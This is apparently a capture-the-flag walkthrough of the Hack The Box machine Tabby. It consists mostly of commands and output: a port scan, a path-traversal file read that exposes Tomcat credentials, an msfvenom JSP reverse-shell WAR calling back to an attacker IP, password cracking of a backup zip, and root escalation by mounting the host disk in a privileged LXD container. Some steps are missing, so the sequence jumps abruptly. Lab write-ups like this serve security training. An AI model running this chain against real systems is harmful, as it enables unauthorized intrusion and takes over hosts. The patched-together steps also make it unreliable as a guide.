-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Mon Mar 21 13:40:10 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.194
Warning: 10.10.10.194 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.194
Host is up (0.41s latency).
Not shown: 53771 filtered tcp ports (no-response), 11761 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
# Nmap done at Mon Mar 21 13:40:50 2022 -- 1 IP address (1 host up) scanned in 39.98 seconds
As we see, port 22 (SSH), port 80 (HTTP), and port 8080 (HTTP)are open. Let's try to obtain more information about the services and versions running on those ports.
If we take a look at the website on port 8080, we'll see a Tomcat page.
Exploitation
If we hit on the NEWS button of the home page, we'll be redirected to the news.php file.
If we take a look at the ULR, we'll see that it has statement as the value of the file parameter.
http://megahosting.htb/news.php?file=statement
We can try to make a Local File Inclusion (LFI) attack. If we set the file parameter to ../../../../../../etc/passwd, we'll be able to see the /etc/passwd file of the Tabby machine.
We know that the user ash exists. Now that we can list the content of files on the Tabby machine, we could try to enumerate users by listing the content of the tomcat-users.xml file, which is located in the /usr/share/tomcat9/etc/ folder.
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
And we get the tomcat user and the $3cureP4s5w0rd123! password. Back to the tomcat web page, we can see that there are two links that in which we can authenticate.
If you try to log in with the credentials we found before to the manager_webapp link, you will be rejected, but if you try to log into the host-manager_webapp, you will get in.
Time to get a shell. We'll have to upload a malicious .war file to the tomcat web page. The problem is that the /host-manager/html doesn't have an option to upload .war files. But we can do it with curl. First, let's create the malicious file with msfvenom.
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.19 lport=4444 -f war -o shell.war
-p indicates the type of payload.
lhost local host IP.
lport local port of the listener.
-f output format.
-o save the output to a file.
Payload size: 1092 bytes
Final size of war file: 1092 bytes
Saved as: shell.war
We can try to break it with john. First, let's covert the backup file to a format that john will understand.
zip2john 16162020_backup.zip > zipjohn
ver 1.0 16162020_backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/favicon.ico PKZIP Encr: TS_chk, cmplen=338, decmplen=766, crc=282B6DE2 ts=7DB5 cs=7db5 type=8
ver 1.0 16162020_backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/index.php PKZIP Encr: TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6 ts=5935 cs=5935 type=8
ver 1.0 efh 5455 efh 7875 ** 2b ** 16162020_backup.zip/var/www/html/logo.png PKZIP Encr: TS_chk, cmplen=2906, decmplen=2894, crc=02F9F45F ts=5D46 cs=5d46 type=0
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/news.php PKZIP Encr: TS_chk, cmplen=114, decmplen=123, crc=5C67F19E ts=5A7A cs=5a7a type=8
ver 2.0 efh 5455 efh 7875 16162020_backup.zip/var/www/html/Readme.txt PKZIP Encr: TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3 ts=6A8B cs=6a8b type=8
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
Now we can break it with john.
john --wordlist=/usr/share/wordlists/rockyou.txt zipjohn
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:06 DONE (2022-03-21 21:03) 0.1531g/s 1586Kp/s 1586Kc/s 1586KC/s adornadis..adj071007
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
And we get the admin@it password. We could try to become ash user we found earlier with that password, and we'll be able to get the user flag.
As the ash user belongs to the lxd group, there is a way that we can become root. First, let's download the build-alpine image for lxd on our local machine as the root user.
--2022-03-21 20:52:02-- http://10.10.14.19/alpine-v3.15-x86_64-20220321_2150.tar.gz
Connecting to 10.10.14.19:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3233646 (3.1M) [application/gzip]
Saving to: âalpine-v3.15-x86_64-20220321_2150.tar.gzâ
alpine-v3.15-x86_64-20220321_2150.tar.gz 100%[=====================================================================================>] 3.08M 1.94MB/s in 1.6s
2022-03-21 20:52:04 (1.94 MB/s) - âalpine-v3.15-x86_64-20220321_2150.tar.gzâ saved [3233646/3233646]
If we use lxc to list containers, we'll see that the system can not find the binary because the path is not included on the PATH variable.
lxc list
Command 'lxc' is available in '/snap/bin/lxc'
The command could not be located because '/snap/bin' is not included in the PATH environment variable.
lxc: command not found
+------+-------+------+------+------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+------+-------+------+------+------+-----------+
There are no containers. Now the idea is to create a container and mount the root file system into the container. First, let's import the Alpine image.
Image imported with fingerprint: c9f637b4f8381d950f69b1afa8505a2fccbf9adabd0dfbc82bfef9a805641793
Then execute the following command, always keeping the default option.
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (zfs, ceph, btrfs, dir, lvm) [default=zfs]:
Create a new ZFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=5GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, âautoâ or ânoneâ) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, âautoâ or ânoneâ) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
-c security.privileged=true by default, containers run as a non-root UID. This runs the container as root, giving it access to the host filesystem as root
Creating privEscCont
Now, let's mount the root file system to the /mnt/root folder of the container.
lxc config device add privEscCont privEscDevice disk source=/ path=/mnt/root
Device privEscDevice added to privEscCont
If we now list the containers, we'll see our privEscCont, but it is stopped.
lxc list
+-------------+---------+------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-------------+---------+------+------+-----------+-----------+
| privEscCont | STOPPED | | | CONTAINER | 0 |
+-------------+---------+------+------+-----------+-----------+
Let's start it.
lxc start privEscCont
And get a shell inside the container.
lxc exec privEscCont /bin/sh
~ # whoami
root
~ # hostname
privEscCont
If we go to the /mnt/root directory, we'll see the entire file system of the Tabby machine.
To get a shell as root in to Tabby machine, we could set the SUID permission on the bash binary which is located in the /mnt/root/usr/bin directory.
chmod u+s /mnt/root/usr/bin/bash
ls -l /mnt/root/usr/bin/bash
rwsr-xr-x 1 root root 1183448 Feb 25 2020 /mnt/root/usr/bin/bash
Now, let's exit the container.
exit
And finally, if we execute bash with the permissions of the owner, we will get a shell as root and all we had to do is reap the harvest and take the root flag.